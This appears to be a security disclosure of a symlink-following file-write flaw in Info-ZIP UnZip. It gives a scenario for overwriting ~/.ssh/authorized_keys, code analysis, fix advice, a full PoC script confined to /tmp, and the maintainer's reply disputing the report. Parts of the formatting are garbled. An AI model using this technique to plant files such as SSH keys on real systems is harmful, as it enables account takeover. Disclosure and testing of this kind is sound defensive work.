Info-ZIP UnZip below 6.10b BETA contains a hostile-prestate filesystem issue: if the chosen extraction directory (or any already-existing parent component under it) is a symlink, unzip may follow that symlink and write files outside the intended extraction root. The attackments contains the markdown version of the vulnerability with same content.
One realistic attack scenario is a “malicious repo / template project” that includes a symlinked output directory and an archive that looks harmless (no ../ traversal needed):
repo/
|-- out -> ~/.ssh/ (preexisting symlink; attacker-controlled repo content)
|-- malicious.zip (attacker-controlled archive)
Victim workflow:
out/”.unzip malicious.zip -d outIf malicious.zip contains a normal entry like authorized_keys, UnZip can end up creating or overwriting ~/.ssh/authorized_keys (or any other file under the symlink target, within the victim’s permissions). The archive itself does not need path traversal strings; the escape happens because the destination path resolution follows a preexisting symlink.
unzip (Info-ZIP UnZip extraction: unzip <archive> -d <outdir>)6.10b BETA (10 Dec 10), from unzip610b.zip (sha256 6cf44ac86789008d9493896b7816027f6022be24ad90a15d472393902584a5a2) and UnZip 6.00.gcc + make):cd test_target/unzip610b
make -f unix/Makefile clean
make -f unix/Makefile generic_gcc -j"$(nproc)"
test_target/unzip610b/unzip (run PoC with UNZIP_BIN=...)Info-ZIP UnZip does not reject preexisting symlink path components in the chosen destination when extracting files.
Two practical variants:
-d <outdir> path exists as a symlink to some other directory, UnZip accepts it and extracts through the symlink.out/a can be a symlink. UnZip accepts it as a directory and then writes through it when creating out/a/file.This is a hostile-prestate filesystem-semantics issue: even with a safe-looking archive member name (e.g., a/pwn.txt), extraction can write outside the intended destination if the filesystem state is attacker-controlled.
Relevant code:
test_target/unzip610b/unix/unix.c — checkdir() uses SSTAT(..., &statbuf) (follows symlinks) to validate:FUNCTION == ROOT (the -d extraction root)FUNCTION == APPEND_DIR (intermediate directory components under the root)test_target/unzip610b/unzpriv.h — SSTAT maps to stat() (not lstat()), so symlink components are not rejected.If an attacker can influence or pre-create the destination directory structure (common in shared workspaces, temp directories, or automation pipelines), they can redirect UnZip’s extracted file writes outside the intended extraction root.
Practical consequences include:
UnZip verifies that destination components “exist and are directories” using stat(), which follows symlinks. It never enforces the stronger property needed for containment:
As a result, a preexisting symlink is treated as a directory and later used in regular open()/fopen() style writes.
vuln_reports/unzip-001-preexisting-symlink-escape/poc.shThe PoC demonstrates both variants:
sandbox/out -> ../outside, then unzip -d sandbox/out writes into outside/.out/a -> ../outside, then extracting a/pwn_parent.txt writes into outside/.Successful exploitation creates:
/tmp/unpfuzz_unzip_prest/root/outside/root_pwn.txt/tmp/unpfuzz_unzip_prest/parent/outside/pwn_parent.txtlstat() and reject symlinks.open(outdir, O_DIRECTORY)), thenopenat()/mkdirat() while rejecting symlinks (O_NOFOLLOW where applicable).openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS) to enforce containment in-kernel.../ string traversal.From the repository root:
UNZIP_BIN=/path/to/unzip ./poc.sh
Below is the poc.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)"
REPO_ROOT="$(cd -- "${SCRIPT_DIR}/../.." && pwd)"
UNZIP_BIN="${UNZIP_BIN:-${REPO_ROOT}/test_target/unzip610b/unzip}"
if [[ ! -x "$UNZIP_BIN" ]]; then
echo "[*] building unzip610b/unzip (generic_gcc)..." >&2
(cd "${REPO_ROOT}/test_target/unzip610b" && make -f unix/Makefile clean && make -f unix/Makefile generic_gcc -j"$(nproc)") >/dev/null 2>&1
fi
if [[ ! -x "$UNZIP_BIN" ]]; then
echo "error: UNZIP_BIN is not executable: $UNZIP_BIN" >&2
exit 1
fi
base=/tmp/unpfuzz_unzip_prest
rm -rf "$base"
mkdir -p "$base"
python3 - <<'PY'
import zipfile
base = "/tmp/unpfuzz_unzip_prest"
with zipfile.ZipFile(base + "/root.zip", "w", compression=zipfile.ZIP_DEFLATED) as z:
z.writestr("root_pwn.txt", "ROOT_SYMLINK\n")
with zipfile.ZipFile(base + "/parent.zip", "w", compression=zipfile.ZIP_DEFLATED) as z:
z.writestr("a/pwn_parent.txt", "PARENT_SYMLINK\n")
PY
## Case 1: extraction root is a symlink to an outside directory.
mkdir -p "$base/root/sandbox" "$base/root/outside"
ln -s ../outside "$base/root/sandbox/out"
LC_ALL=C "$UNZIP_BIN" -q "$base/root.zip" -d "$base/root/sandbox/out"
if [[ ! -f "$base/root/outside/root_pwn.txt" ]]; then
echo "[-] root symlink escape failed: expected outside file not found" >&2
find "$base/root" -maxdepth 4 -ls >&2 || true
exit 1
fi
echo "[+] root symlink accepted; wrote outside root:"
cat "$base/root/outside/root_pwn.txt"
## Case 2: a parent component under the root is a preexisting symlink.
mkdir -p "$base/parent/out" "$base/parent/outside"
ln -s ../outside "$base/parent/out/a"
LC_ALL=C "$UNZIP_BIN" -q "$base/parent.zip" -d "$base/parent/out"
if [[ ! -f "$base/parent/outside/pwn_parent.txt" ]]; then
echo "[-] parent symlink escape failed: expected outside file not found" >&2
find "$base/parent" -maxdepth 4 -ls >&2 || true
exit 1
fi
echo "[+] parent symlink accepted; wrote outside root:"
cat "$base/parent/outside/pwn_parent.txt"
Report to vendor: 23/04/2026
Very nice bug report Nicholas
Unfortunately, I'm not seeing this is a valid issue that
unzipshould do anything about.Here is a real life example that I don't think is unique to my workflow: I have a shortcut to my development directory tree setup as a symbolic link -- so something like
~/my-codewill actually point to the real path where my dev code lives.If I want unzip some content into my development tree, I would write this
unzip myzip.zip -d ~/my-codeor this
unzip myzip.zip -d ~/my-code/new-filesI'd expect both of these to work.
I'm not sure if it is possible to spot the difference between valid/safe use-cases and malicious one.
If I've misinterpreted your issue, please reply with more detail.